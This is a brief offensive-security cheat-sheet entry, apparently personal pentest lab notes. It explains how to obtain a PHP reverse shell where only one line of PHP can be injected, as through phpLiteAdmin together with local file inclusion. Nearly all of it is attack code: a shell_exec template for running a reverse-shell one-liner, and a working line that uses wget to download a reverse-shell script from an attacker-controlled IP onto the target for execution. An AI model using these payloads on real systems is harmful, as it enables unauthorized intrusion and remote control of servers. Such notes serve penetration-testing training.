One liner actual PHP code reverse shell

shell.php

If you have access to executing php (and maybe LFI to visit the .php) e.g. phpLiteAdmin, but it only accepts one line so you cannot use the pentestmonkey php-reverse-shell.php

1. Use http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet in place of the one liner
<?php echo shell_exec("[INSERT ONE LINER");?>

2. Guess programs on machine and use LFI to visit file
<?php echo shell_exec("/usr/local/bin/wget http://10.11.0.46:8000/php-reverse-shell.php -O /var/tmp/shell.php 2>&1");?>
